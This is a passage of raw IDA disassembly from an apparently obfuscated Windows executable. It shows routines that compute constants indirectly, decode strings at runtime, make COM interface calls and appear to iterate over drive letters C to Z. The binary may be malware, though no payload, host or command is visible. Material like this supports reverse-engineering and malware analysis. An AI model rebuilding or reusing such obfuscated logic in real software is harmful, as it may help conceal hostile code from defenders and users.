		dec	edi
		movsx	eax, word_551260
		add	eax, 1Bh
		cmp	edi, eax
		jge	short loc_43BE9F
		mov	eax, dword_5511A0
		add	eax, dword_551124
		sub	eax, 7
		imul	edi, eax
		mov	eax, dword_55117C
		add	eax, 3Ah
		add	eax, dword_551244
		sub	edi, eax
		jmp	loc_43BF44
; ---------------------------------------------------------------------------


loc_43BE9F:				; CODE XREF: sub_43BDAA+CDj
		dec	edi
		mov	eax, dword_551178
		add	eax, 24h
		movsx	edx, word_551140
		add	eax, edx
		cmp	edi, eax
		jge	short loc_43BEDF
		movsx	eax, word_551214
		movsx	edx, word_551268
		add	eax, edx
		sub	eax, 4
		imul	eax, edi
		mov	edi, eax
		mov	eax, dword_5510BC
		add	eax, 4Bh
		add	eax, dword_551124
		sub	edi, eax
		jmp	short loc_43BF44
; ---------------------------------------------------------------------------


loc_43BEDF:				; CODE XREF: sub_43BDAA+109j
		dec	edi
		mov	eax, dword_551174
		add	eax, 32h
		movsx	edx, word_55115C
		add	eax, edx
		cmp	edi, eax
		jge	short loc_43BF0C
		mov	eax, dword_5511B0
		sub	eax, 5
		imul	edi, eax
		mov	eax, dword_551264
		add	eax, 67h
		sub	edi, eax
		jmp	short loc_43BF44
; ---------------------------------------------------------------------------


loc_43BF0C:				; CODE XREF: sub_43BDAA+149j
		dec	edi
		mov	eax, dword_55116C
		add	eax, 30h
		cmp	edi, eax
		jge	short loc_43BF38
		mov	eax, dword_551230
		add	eax, dword_55126C
		sub	eax, 0Bh
		imul	edi, eax
		movsx	eax, word_5511BC
		add	eax, 6Bh
		sub	edi, eax
		jmp	short loc_43BF44
; ---------------------------------------------------------------------------


loc_43BF38:				; CODE XREF: sub_43BDAA+16Dj
		movsx	eax, word_5510F0
		add	eax, 36h
		sub	edi, eax


loc_43BF44:				; CODE XREF: sub_43BDAA+52j
					; sub_43BDAA+92j ...
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_43BDAA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43BF49	proc near		; DATA XREF: sub_441AE5+11Bo

var_21C		= dword	ptr -21Ch
var_218		= dword	ptr -218h
var_214		= dword	ptr -214h
var_210		= dword	ptr -210h
var_20C		= dword	ptr -20Ch
var_208		= dword	ptr -208h
var_204		= dword	ptr -204h
var_1FE		= byte ptr -1FEh
var_FF		= byte ptr -0FFh
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 21Ch
		push	ebx
		push	esi
		push	edi
		lea	eax, [ebp+var_210]
		push	eax
		push	offset dword_44B0A0
		call	sub_43E369
		add	esp, 8
		mov	[ebp+var_208], eax
		mov	ecx, dword_5511F4
		sub	ecx, 5
		cmp	eax, ecx
		jnz	short loc_43BF83
		xor	eax, eax
		jmp	loc_43C105
; ---------------------------------------------------------------------------


loc_43BF83:				; CODE XREF: sub_43BF49+31j
		mov	eax, dword_551114
		add	eax, dword_551154
		sub	eax, 5
		mov	[ebp+var_204], eax


loc_43BF97:				; CODE XREF: sub_43BF49+1A8j
		mov	eax, [ebp+var_204]
		mov	edx, [ebp+var_208]
		lea	ecx, [edx+eax]
		or	eax, 0FFFFFFFFh


loc_43BFA9:				; CODE XREF: sub_43BF49+65j
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_43BFA9
		mov	[ebp+var_20C], eax
		cmp	[ebp+var_20C], 0FFh
		jnb	short loc_43BFDE
		mov	eax, [ebp+var_204]
		add	eax, 1
		add	eax, [ebp+var_208]
		push	eax
		lea	eax, [ebp+var_FF]
		push	eax
		call	sub_44799C


loc_43BFDE:				; CODE XREF: sub_43BF49+77j
		movsx	eax, word_5510F0
		mov	esi, eax
		add	esi, dword_55118C
		sub	esi, 3
		jmp	short loc_43C017
; ---------------------------------------------------------------------------


loc_43BFF2:				; CODE XREF: sub_43BF49+E0j
		cmp	[ebp+esi+var_FF], 28h
		jnz	short loc_43C004
		mov	[ebp+esi+var_FF], 2Bh


loc_43C004:				; CODE XREF: sub_43BF49+B1j
		cmp	[ebp+esi+var_FF], 29h
		jnz	short loc_43C016
		mov	[ebp+esi+var_FF], 3Dh


loc_43C016:				; CODE XREF: sub_43BF49+C3j
		inc	esi


loc_43C017:				; CODE XREF: sub_43BF49+A7j
		lea	ecx, [ebp+var_FF]
		or	eax, 0FFFFFFFFh


loc_43C020:				; CODE XREF: sub_43BF49+DCj
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_43C020
		cmp	esi, eax
		jb	short loc_43BFF2
		push	0FFh
		lea	eax, [ebp+var_1FE]
		push	eax
		lea	eax, [ebp+var_FF]
		push	eax
		call	sub_4427A1
		add	esp, 0Ch
		mov	ebx, eax
		mov	edi, dword_551204
		sub	edi, 3
		jmp	short loc_43C081
; ---------------------------------------------------------------------------


loc_43C053:				; CODE XREF: sub_43BF49+13Aj
		movsx	eax, [ebp+edi+var_1FE]
		mov	[ebp+var_218], eax
		mov	eax, edi
		mul	edi
		mov	[ebp+var_21C], eax
		mov	eax, [ebp+var_218]
		mov	edx, [ebp+var_21C]
		sub	eax, edx
		mov	[ebp+edi+var_1FE], al
		inc	edi


loc_43C081:				; CODE XREF: sub_43BF49+108j
		cmp	edi, ebx
		jb	short loc_43C053
		mov	eax, dword_5510D0
		sub	eax, 3
		push	eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_1FE]
		push	eax
		call	sub_442127
		add	esp, 0Ch
		mov	[ebp+var_214], eax
		mov	eax, dword_5511F4
		add	eax, 0FFFAh
		cmp	[ebp+var_214], eax
		jz	short loc_43C0C9
		push	[ebp+var_208]
		call	ds:dword_44B5CC
		xor	eax, eax
		inc	eax
		jmp	short loc_43C105
; ---------------------------------------------------------------------------


loc_43C0C9:				; CODE XREF: sub_43BF49+16Dj
		mov	eax, [ebp+var_20C]
		add	[ebp+var_204], eax
		movsx	eax, word_551268
		add	eax, 2
		add	[ebp+var_204], eax
		mov	eax, [ebp+var_210]
		cmp	[ebp+var_204], eax
		jb	loc_43BF97
		push	[ebp+var_208]
		call	ds:dword_44B5CC
		xor	eax, eax


loc_43C105:				; CODE XREF: sub_43BF49+35j
					; sub_43BF49+17Ej
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_43BF49	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43C10A	proc near		; CODE XREF: sub_441AE5+210p
					; sub_442CE5+26p ...

var_120A	= byte ptr -120Ah
var_110B	= byte ptr -110Bh
var_100C	= dword	ptr -100Ch
var_1008	= dword	ptr -1008h
var_1004	= dword	ptr -1004h
var_FFF		= byte ptr -0FFFh
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 120Ch
		call	sub_44797C
		push	ebx
		push	esi
		push	edi
		push	offset dword_5524F0
		call	sub_43AC94
		push	eax
		lea	edi, [ebp+var_FFF]
		push	edi
		call	ds:dword_50EA28
		add	esp, 0Ch
		mov	eax, dword_5510A8
		movsx	edx, word_55115C
		mov	esi, eax
		add	esi, edx
		sub	esi, 0Bh
		jmp	short loc_43C164
; ---------------------------------------------------------------------------


loc_43C14A:				; CODE XREF: sub_43C10A+60j
		cmp	[ebp+esi+var_FFF], 23h
		jnz	short loc_43C163
		mov	eax, dword_551178
		sub	eax, 3
		mov	[ebp+esi+var_FFF], al


loc_43C163:				; CODE XREF: sub_43C10A+48j
		inc	esi


loc_43C164:				; CODE XREF: sub_43C10A+3Ej
		cmp	esi, 0FFFh
		jb	short loc_43C14A
		mov	eax, dword_551264
		mov	ebx, eax
		add	ebx, dword_5511E4
		sub	ebx, 8
		movsx	eax, word_551228
		sub	eax, 6
		mov	[ebp+var_1004],	eax
		mov	eax, dword_5510B8
		movsx	edx, word_551210
		add	eax, edx
		sub	eax, 0Bh
		cmp	[ebp+arg_0], eax
		jnz	short loc_43C203


loc_43C1A2:				; CODE XREF: sub_43C10A+F7j
		mov	eax, [ebp+arg_4]
		cmp	[ebp+var_1004],	eax
		jnz	short loc_43C1C4
		lea	eax, [ebp+ebx+var_FFF]
		push	eax
		push	offset dword_54EA70
		call	sub_44799C
		jmp	loc_43C463
; ---------------------------------------------------------------------------


loc_43C1C4:				; CODE XREF: sub_43C10A+A1j
		lea	ecx, [ebp+ebx+var_FFF]
		or	eax, 0FFFFFFFFh


loc_43C1CE:				; CODE XREF: sub_43C10A+C9j
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_43C1CE
		add	ebx, eax
		inc	[ebp+var_1004]
		add	ebx, 1
		mov	eax, dword_551248
		movsx	edx, word_55123C
		add	eax, edx
		sub	eax, 7
		movsx	edx, [ebp+ebx+var_FFF]
		cmp	eax, edx
		jz	loc_43C463
		jmp	short loc_43C1A2
; ---------------------------------------------------------------------------


loc_43C203:				; CODE XREF: sub_43C10A+96j
		mov	eax, dword_5510DC
		add	eax, dword_5510F4
		sub	eax, 9
		mov	[ebp+var_1004],	eax
		mov	eax, dword_5510A4
		movsx	edx, word_55115C
		add	eax, edx
		sub	eax, 0Ch
		mov	edx, [ebp+arg_0]
		movsx	ecx, word_55120C
		add	ecx, dword_5511C0
		mov	[edx+eax], cl
		mov	eax, dword_5512B8
		mov	[ebp+var_1008],	eax
		mov	ebx, dword_551258
		dec	ebx


loc_43C24D:				; CODE XREF: sub_43C10A+331j
		push	offset byte_5524E5
		call	sub_43AC94
		push	eax
		lea	edi, [ebp+var_110B]
		push	edi
		call	sub_44799C
		lea	eax, [ebp+ebx+var_FFF]
		push	eax
		lea	eax, [ebp+var_110B]
		push	eax
		call	ds:dword_44802C
		add	esp, 0Ch
		call	ds:dword_550150
		mov	ecx, 14h
		cdq
		idiv	ecx
		mov	[ebp+var_100C],	edx
		movsx	eax, word_55112C
		sub	eax, 3
		cmp	edx, eax
		jnb	loc_43C37E
		push	[ebp+var_1008]
		lea	eax, [ebp+var_120A]
		push	eax
		call	sub_443F7C
		mov	eax, dword_5511C0
		add	eax, dword_55125C
		sub	eax, 4
		push	eax
		lea	eax, [ebp+var_110B]
		push	eax
		push	[ebp+arg_0]
		call	sub_442127
		add	esp, 14h
		mov	edi, dword_5510E0
		add	edi, 0FFFEh
		cmp	eax, edi
		jnz	short loc_43C30C
		lea	eax, [ebp+var_110B]
		push	eax
		push	[ebp+arg_0]
		call	ds:dword_44802C
		push	offset dword_5524E0
		call	sub_43AC94
		push	eax
		push	[ebp+arg_0]
		call	ds:dword_44802C
		add	esp, 14h


loc_43C30C:				; CODE XREF: sub_43C10A+1D9j
		mov	eax, dword_551148
		add	eax, dword_551114
		sub	eax, 8
		push	eax
		lea	eax, [ebp+var_120A]
		push	eax
		push	[ebp+arg_0]
		call	sub_442127
		add	esp, 0Ch
		mov	edi, dword_55119C
		add	edi, 0FFF8h
		cmp	edi, eax
		jnz	short loc_43C378
		push	offset byte_5524D5
		call	sub_43AC94
		push	eax
		push	[ebp+arg_0]
		call	ds:dword_44802C
		lea	eax, [ebp+var_120A]
		push	eax
		push	[ebp+arg_0]
		call	ds:dword_44802C
		push	offset dword_5524D0
		call	sub_43AC94
		push	eax
		push	[ebp+arg_0]
		call	ds:dword_44802C
		add	esp, 20h


loc_43C378:				; CODE XREF: sub_43C10A+231j
		inc	[ebp+var_1008]


loc_43C37E:				; CODE XREF: sub_43C10A+192j
		push	[ebp+var_1004]
		call	sub_43BDAA
		pop	ecx
		mov	[ebp+var_100C],	eax
		mov	eax, dword_551148
		movsx	edx, word_551140
		add	eax, edx
		sub	eax, 0Ah
		cmp	[ebp+var_100C],	eax
		jnb	short loc_43C40C
		movsx	eax, word_5511C4
		movsx	edx, word_55115C
		add	eax, edx
		sub	eax, 9
		push	eax
		lea	eax, [ebp+var_110B]
		push	eax
		push	[ebp+arg_0]
		call	sub_442127
		add	esp, 0Ch
		mov	edi, dword_551160
		add	edi, 0FFF9h
		add	edi, dword_551258
		cmp	edi, eax
		jnz	short loc_43C40C
		lea	eax, [ebp+var_110B]
		push	eax
		push	[ebp+arg_0]
		call	ds:dword_44802C
		push	offset byte_5524CB
		call	sub_43AC94
		push	eax
		push	[ebp+arg_0]
		call	ds:dword_44802C
		add	esp, 14h


loc_43C40C:				; CODE XREF: sub_43C10A+29Dj
					; sub_43C10A+2D9j
		lea	ecx, [ebp+ebx+var_FFF]
		or	eax, 0FFFFFFFFh


loc_43C416:				; CODE XREF: sub_43C10A+311j
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_43C416
		add	ebx, eax
		add	ebx, 1
		inc	[ebp+var_1004]
		movsx	eax, [ebp+ebx+var_FFF]
		mov	edx, dword_5510B8
		sub	edx, 8
		cmp	eax, edx
		jnz	loc_43C24D
		mov	eax, [ebp+var_1008]
		mov	dword_5512B8, eax
		push	offset word_5524C6
		call	sub_43AC94
		push	eax
		push	[ebp+arg_0]
		call	ds:dword_44802C
		add	esp, 0Ch


loc_43C463:				; CODE XREF: sub_43C10A+B5j
					; sub_43C10A+F1j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_43C10A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43C468	proc near		; CODE XREF: sub_43A324+1A4p
					; sub_43A324+222p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	eax
		push	ebx
		push	esi
		push	edi
		mov	esi, dword_551264
		sub	esi, 3
		lea	eax, [ebp+var_4]
		push	eax
		push	offset dword_552A14
		mov	eax, [ebp+arg_0]
		push	eax
		mov	ebx, [eax]
		call	dword ptr ds:0[ebx]
		mov	edi, eax
		mov	eax, dword_551130
		add	eax, dword_5510DC
		sub	eax, 0Ah
		cmp	edi, eax
		jz	short loc_43C4A7
		xor	eax, eax
		jmp	short loc_43C501
; ---------------------------------------------------------------------------


loc_43C4A7:				; CODE XREF: sub_43C468+39j
		lea	eax, [ebp+var_8]
		push	eax
		push	[ebp+arg_8]
		mov	eax, [ebp+var_4]
		push	eax
		mov	ebx, [eax]
		call	dword ptr [ebx+10h]
		mov	edi, eax
		mov	eax, dword_551108
		sub	eax, 2
		cmp	eax, edi
		jnz	short loc_43C4F6
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		mov	eax, [ebp+var_8]
		push	eax
		mov	ebx, [eax]
		call	dword ptr [ebx+14h]
		mov	edi, eax
		movsx	eax, word_5511C8
		sub	eax, 7
		cmp	edi, eax
		jnz	short loc_43C4ED
		mov	esi, dword_55109C
		sub	esi, 6


loc_43C4ED:				; CODE XREF: sub_43C468+7Aj
		mov	eax, [ebp+var_8]
		push	eax
		mov	ebx, [eax]
		call	dword ptr [ebx+8]


loc_43C4F6:				; CODE XREF: sub_43C468+5Bj
		mov	eax, [ebp+var_4]
		push	eax
		mov	ebx, [eax]
		call	dword ptr [ebx+8]
		mov	eax, esi


loc_43C501:				; CODE XREF: sub_43C468+3Dj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_43C468	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43C506	proc near		; CODE XREF: sub_43B946+2E0p
					; sub_44757D+178p

var_344		= dword	ptr -344h
var_340		= dword	ptr -340h
var_33C		= dword	ptr -33Ch
var_338		= dword	ptr -338h
var_334		= dword	ptr -334h
var_330		= dword	ptr -330h
var_32C		= dword	ptr -32Ch
var_328		= dword	ptr -328h
var_324		= dword	ptr -324h
var_320		= dword	ptr -320h
var_31C		= dword	ptr -31Ch
var_316		= byte ptr -316h
var_212		= byte ptr -212h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 344h
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_4]
		call	ds:dword_50EA24
		pop	ecx
		push	[ebp+arg_0]
		lea	eax, [ebp+var_316]
		push	eax
		call	sub_44799C
		lea	ecx, [ebp+var_316]
		or	eax, 0FFFFFFFFh


loc_43C534:				; CODE XREF: sub_43C506+33j
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_43C534
		mov	edx, dword_551248
		sub	edx, 3
		mov	ebx, eax
		sub	ebx, edx
		mov	edx, dword_5510C8
		mov	[ebp+ebx+var_316], dl
		movsx	eax, word_551110
		mov	edi, eax
		add	edi, dword_5511B4
		sub	edi, 2


loc_43C567:				; CODE XREF: sub_43C506+19Fj
		movsx	eax, word_5511BC
		mov	[ebp+var_320], eax
		mov	edx, eax
		add	edx, dword_551098
		sub	edx, 6
		mov	[ebp+var_328], edx
		mov	eax, edi
		mov	[ebp+var_324], eax
		mov	ecx, dword_5510A8
		add	ecx, dword_55119C
		sub	ecx, 0Dh
		mul	ecx
		mov	[ebp+var_32C], eax
		mov	eax, [ebp+var_328]
		mov	edx, [ebp+var_32C]
		add	eax, edx
		mov	edx, dword_55122C
		mov	ecx, [ebp+var_320]
		add	edx, ecx
		sub	edx, 6
		mov	[ebp+eax+var_212], dl
		mov	eax, edi
		mov	ecx, dword_551244
		sub	ecx, 5
		mul	ecx
		mov	[ebp+var_330], eax
		movsx	eax, [ebp+edi+var_316]
		mov	edx, [ebp+var_330]
		mov	[ebp+edx+var_212], al
		movsx	eax, [ebp+edi+var_316]
		mov	edx, dword_55113C
		add	edx, dword_55117C
		sub	edx, 0Eh
		cmp	eax, edx
		jnz	loc_43C6A4
		mov	eax, dword_5510F8
		mov	[ebp+var_334], eax
		movsx	edx, word_5511C8
		sub	edx, 4
		mov	[ebp+var_33C], edx
		mov	eax, edi
		mov	[ebp+var_338], eax
		mov	ecx, dword_551128
		sub	ecx, 5
		mul	ecx
		mov	[ebp+var_340], eax
		mov	eax, [ebp+var_33C]
		mov	edx, [ebp+var_340]
		add	eax, edx
		mov	edx, [ebp+var_334]
		mov	ecx, edx
		add	edx, edx
		sub	edx, 8
		mov	[ebp+eax+var_212], dl
		mov	eax, edi
		mov	ecx, dword_551164
		add	ecx, 2
		mul	ecx
		mov	[ebp+var_344], eax
		mov	eax, dword_55110C
		sub	eax, 7
		mov	edx, [ebp+var_344]
		add	edx, eax
		mov	eax, dword_551218
		movsx	ecx, word_5510A0
		add	eax, ecx
		sub	eax, 8
		mov	[ebp+edx+var_212], al
		jmp	short loc_43C6AA
; ---------------------------------------------------------------------------


loc_43C6A4:				; CODE XREF: sub_43C506+105j
		inc	edi
		jmp	loc_43C567
; ---------------------------------------------------------------------------


loc_43C6AA:				; CODE XREF: sub_43C506+19Cj
		mov	eax, dword_5511F4
		add	eax, dword_5511F8
		sub	eax, 0Ch
		cmp	dword_551294, eax
		jz	short loc_43C72C
		lea	eax, [ebp+var_212]
		push	eax
		mov	eax, dword_5511F8
		add	eax, dword_55116C
		sub	eax, 10h
		push	eax
		call	ds:dword_44B5B4
		mov	esi, eax
		mov	eax, dword_551248
		movsx	edx, word_551170
		add	eax, edx
		sub	eax, 5
		cmp	esi, eax
		jz	short loc_43C72C
		movsx	eax, word_551260
		sub	eax, 9
		cmp	dword_551298, eax
		jz	short loc_43C74D
		mov	eax, dword_55118C
		inc	eax
		neg	eax
		push	eax
		lea	eax, [ebp+var_212]
		push	eax
		movsx	eax, word_551214
		add	eax, dword_551118
		sub	eax, 0Ch
		push	eax
		call	ds:dword_448024


loc_43C72C:				; CODE XREF: sub_43C506+1B8j
					; sub_43C506+1EBj
		push	ds:dword_44B5C4
		push	ds:dword_4CEA00
		lea	eax, [ebp+var_316]
		push	eax
		call	sub_440485
		add	esp, 0Ch
		mov	[ebp+var_31C], eax


loc_43C74D:				; CODE XREF: sub_43C506+1FDj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_43C506	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43C752	proc near		; CODE XREF: sub_4461CC+20Dp

var_30037	= byte ptr -30037h
var_20038	= dword	ptr -20038h
var_20034	= dword	ptr -20034h
var_20030	= dword	ptr -20030h
var_2002C	= dword	ptr -2002Ch
var_20028	= dword	ptr -20028h
var_20024	= dword	ptr -20024h
var_20020	= byte ptr -20020h
var_2001C	= dword	ptr -2001Ch
var_20018	= dword	ptr -20018h
var_20014	= dword	ptr -20014h
var_20010	= dword	ptr -20010h
var_2000C	= dword	ptr -2000Ch
var_20008	= dword	ptr -20008h
var_20004	= dword	ptr -20004h
var_1FFFE	= byte ptr -1FFFEh
var_10007	= byte ptr -10007h
var_10006	= byte ptr -10006h
var_10003	= byte ptr -10003h
var_FFFF	= byte ptr -0FFFFh
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
arg_14		= byte ptr  1Ch
arg_24		= dword	ptr  2Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 30038h
		call	sub_44797C
		push	ebx
		push	esi
		push	edi
		lea	eax, [ebp+var_20018]
		push	eax
		mov	eax, dword_551270
		sub	eax, 5
		push	eax
		lea	eax, [ebp+arg_14]
		push	eax
		lea	eax, [ebp+arg_4]
		push	eax
		movsx	eax, word_55123C
		sub	eax, 3
		push	eax
		mov	eax, [ebp+arg_0]
		push	eax
		mov	ebx, [eax]
		call	dword ptr [ebx+54h]
		mov	edi, eax
		mov	eax, dword_551090
		dec	eax
		cmp	eax, edi
		jnz	loc_43CB50


loc_43C79E:				; CODE XREF: sub_43C752+3E4j
		movsx	eax, word_5510CC
		add	eax, dword_5511B8
		sub	eax, 0Ch
		push	eax
		lea	eax, [ebp+var_20024]
		push	eax
		mov	eax, dword_55109C
		add	eax, dword_55110C
		sub	eax, 0Fh
		push	eax
		mov	eax, [ebp+var_20018]
		push	eax
		mov	ebx, [eax]
		call	dword ptr [ebx+0Ch]
		mov	edi, eax
		mov	eax, dword_5510C0
		movsx	edx, word_5511BC
		add	eax, edx
		sub	eax, 6
		cmp	edi, eax
		jnz	loc_43CB3B
		mov	esi, dword_55116C
		sub	esi, 9
		lea	eax, [ebp+var_1FFFE]
		push	eax
		push	[ebp+var_20024]
		call	sub_44582B
		add	esp, 8
		and	[ebp+var_20014], 0
		mov	eax, dword_5511E0
		sub	eax, 9
		mov	[ebp+var_20028], eax
		mov	[ebp+var_20010], 10h
		mov	eax, dword_551114
		sub	eax, 2
		mov	[ebp+var_20004], eax
		mov	eax, dword_5510B4
		sub	eax, 4
		mov	[ebp+var_20008], eax
		mov	[ebp+var_2000C], 2
		mov	eax, dword_5510E8
		add	eax, dword_55121C
		sub	eax, 7
		push	eax
		lea	eax, [ebp+var_20010]
		push	eax
		lea	eax, [ebp+var_20014]
		push	eax
		lea	eax, [ebp+var_20028]
		push	eax
		push	[ebp+var_20024]
		lea	eax, [ebp+arg_14]
		push	eax
		lea	eax, [ebp+arg_4]
		push	eax
		movsx	eax, word_5510EC
		push	eax
		mov	eax, [ebp+arg_0]
		push	eax
		mov	ebx, [eax]
		call	dword ptr [ebx+44h]
		mov	edi, eax
		mov	eax, dword_551128
		sub	eax, 7
		cmp	eax, edi
		jnz	loc_43C9DE
		mov	eax, dword_551150
		movsx	edx, word_551274
		mov	esi, eax
		add	esi, edx
		sub	esi, 4
		movsx	eax, word_5511AC
		movsx	edx, word_5510EC
		add	eax, edx
		cmp	byte ptr [ebp+eax+var_20004], 44h
		jnz	short loc_43C902
		mov	eax, dword_5511DC
		cmp	byte ptr [ebp+eax+var_20004+1],	49h
		jnz	short loc_43C902
		movsx	eax, word_551210
		cmp	[ebp+eax+var_1FFFE], 50h
		jnz	short loc_43C902
		movsx	eax, word_5511BC
		cmp	byte ptr [ebp+eax+var_20004+2],	50h
		jz	short loc_43C907


loc_43C902:				; CODE XREF: sub_43C752+17Dj
					; sub_43C752+18Cj ...
		jmp	loc_43C9DE
; ---------------------------------------------------------------------------


loc_43C907:				; CODE XREF: sub_43C752+1AEj
		mov	eax, [ebp+var_20028]
		mov	[ebp+var_20030], eax
		mov	eax, [ebp+var_20014]
		mov	[ebp+var_2002C], eax
		lea	eax, [ebp+var_20020]
		push	eax
		movsx	eax, word_551214
		mov	edx, dword_5510C0
		add	edx, eax
		sub	edx, 4
		push	edx
		movsx	edx, word_551140
		add	edx, eax
		mov	eax, edx
		sub	eax, 8
		push	eax
		movsx	eax, word_5511CC
		sub	eax, 6
		push	eax
		mov	eax, dword_551164
		movsx	edx, word_5510D8
		add	eax, edx
		sub	eax, 9
		push	eax
		movsx	eax, word_5511EC
		sub	eax, 3
		push	eax
		lea	eax, [ebp+var_20030]
		push	eax
		call	ds:dword_448028
		mov	[ebp+var_20034], eax
		mov	ecx, dword_551270
		add	ecx, dword_551130
		sub	ecx, 8
		cmp	ecx, eax
		jnz	short loc_43C9AB
		mov	eax, dword_55114C
		movsx	edx, word_551240
		mov	esi, eax
		add	esi, edx
		sub	esi, 7
		jmp	short loc_43C9DE
; ---------------------------------------------------------------------------


loc_43C9AB:				; CODE XREF: sub_43C752+242j
		mov	esi, dword_551164
		add	esi, 2
		lea	eax, [ebp+var_30037]
		push	eax
		push	[ebp+var_2001C]
		call	sub_44582B
		add	esp, 8
		cmp	[ebp+var_2001C], 0
		jz	short loc_43C9DE
		push	[ebp+var_2001C]
		call	ds:dword_44B5CC


loc_43C9DE:				; CODE XREF: sub_43C752+14Cj
					; sub_43C752:loc_43C902j ...
		movsx	eax, word_551260
		mov	[ebp+eax+var_10007], 7Ch
		mov	eax, dword_5511F0
		movsx	edx, word_551120
		sub	edx, 3
		mov	[ebp+eax+var_10006], dl
		movsx	eax, word_551234
		mov	[ebp+eax+var_10003], 50h
		push	[ebp+arg_24]
		lea	eax, [ebp+var_FFFF]
		push	eax
		call	ds:dword_44802C
		push	offset byte_5524C1
		call	sub_43AC94
		push	eax
		lea	ebx, [ebp+var_FFFF]
		push	ebx
		call	ds:dword_44802C
		push	offset dword_5524A4
		call	sub_43AC94
		movsx	ebx, word_551260
		mov	edx, ebx
		add	edx, ebx
		mov	ebx, edx
		sub	ebx, 11h
		push	ebx
		push	eax
		push	[ebp+arg_24]
		call	sub_442127
		add	esp, 24h
		mov	edx, dword_5510DC
		add	edx, 0FFF8h
		add	edx, dword_5510C8
		cmp	eax, edx
		jz	short loc_43CA8F
		lea	eax, [ebp+var_1FFFE]
		push	eax
		lea	eax, [ebp+var_FFFF]
		push	eax
		call	sub_447336
		add	esp, 8
		jmp	short loc_43CABE
; ---------------------------------------------------------------------------


loc_43CA8F:				; CODE XREF: sub_43C752+323j
		lea	eax, [ebp+var_1FFFE]
		push	eax
		lea	eax, [ebp+var_FFFF]
		push	eax
		call	ds:dword_44802C
		push	offset byte_55249F
		call	sub_43AC94
		push	eax
		lea	ebx, [ebp+var_FFFF]
		push	ebx
		call	ds:dword_44802C
		add	esp, 14h


loc_43CABE:				; CODE XREF: sub_43C752+33Bj
		cmp	dword_551090, esi
		jnz	short loc_43CAD4
		mov	eax, [ebp+var_20014]
		mov	[ebp+var_20038], eax
		jmp	short loc_43CAE0
; ---------------------------------------------------------------------------


loc_43CAD4:				; CODE XREF: sub_43C752+372j
		lea	eax, [ebp+var_30037]
		mov	[ebp+var_20038], eax


loc_43CAE0:				; CODE XREF: sub_43C752+380j
		push	[ebp+var_20038]
		lea	eax, [ebp+var_FFFF]
		push	eax
		call	ds:dword_44802C
		push	offset byte_5524C1
		call	sub_43AC94
		push	eax
		lea	ebx, [ebp+var_FFFF]
		push	ebx
		call	ds:dword_44802C
		add	esp, 14h
		mov	eax, dword_551218
		dec	eax
		cmp	[ebp+var_20014], eax
		jz	short loc_43CB28
		push	[ebp+var_20014]
		call	ds:dword_48C1EC


loc_43CB28:				; CODE XREF: sub_43C752+3C8j
		lea	eax, [ebp+var_FFFF]
		push	eax
		call	ds:dword_48C1E0
		pop	ecx
		jmp	loc_43C79E
; ---------------------------------------------------------------------------


loc_43CB3B:				; CODE XREF: sub_43C752+94j
		cmp	[ebp+var_20018], 0
		jz	short loc_43CB50
		mov	eax, [ebp+var_20018]
		push	eax
		mov	ebx, [eax]
		call	dword ptr [ebx+8]


loc_43CB50:				; CODE XREF: sub_43C752+46j
					; sub_43C752+3F0j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_43C752	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_43CB55	proc near		; DATA XREF: sub_43E491:loc_43E834o

var_28		= byte ptr -28h
var_24		= byte ptr -24h
var_20		= byte ptr -20h
var_1C		= byte ptr -1Ch
var_18		= byte ptr -18h
var_14		= dword	ptr -14h
var_E		= byte ptr -0Eh
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 28h
		push	ebx
		push	esi
		push	edi
		mov	esi, 43h
		jmp	short loc_43CB7D
; ---------------------------------------------------------------------------


loc_43CB65:				; CODE XREF: sub_43CB55+2Bj
		movsx	ebx, word_5510AC
		add	ebx, dword_551114
		sub	ebx, 9
		mov	ds:dword_54FC20[esi*4],	ebx
		inc	esi


loc_43CB7D:				; CODE XREF: sub_43CB55+Ej
		cmp	esi, 5Ah
		jbe	short loc_43CB65


loc_43CB82:				; CODE XREF: sub_43CB55+1D6j
		mov	edi, 43h
		jmp	loc_43CD12
; ---------------------------------------------------------------------------


loc_43CB8C:				; CODE XREF: sub_43CB55+1C0j
		push	offset byte_552497
		call	sub_43AC94
		push	edi
		push	eax
		lea	ebx, [ebp+var_E]
		push	ebx
		call	ds:dword_50EA28
		mov	eax, dword_5511D4
		add	eax, dword_5510C4
		sub	eax, 12h
		push	eax
		call	ds:dword_50EA24
		add	esp, 14h
		mov	ebx, ds:dword_54FC20[edi*4]
		cmp	dword_5510C8, ebx
		jz	short loc_43CC19
		movsx	eax, word_5510EC
		add	eax, dword_551130
		sub	eax, 3
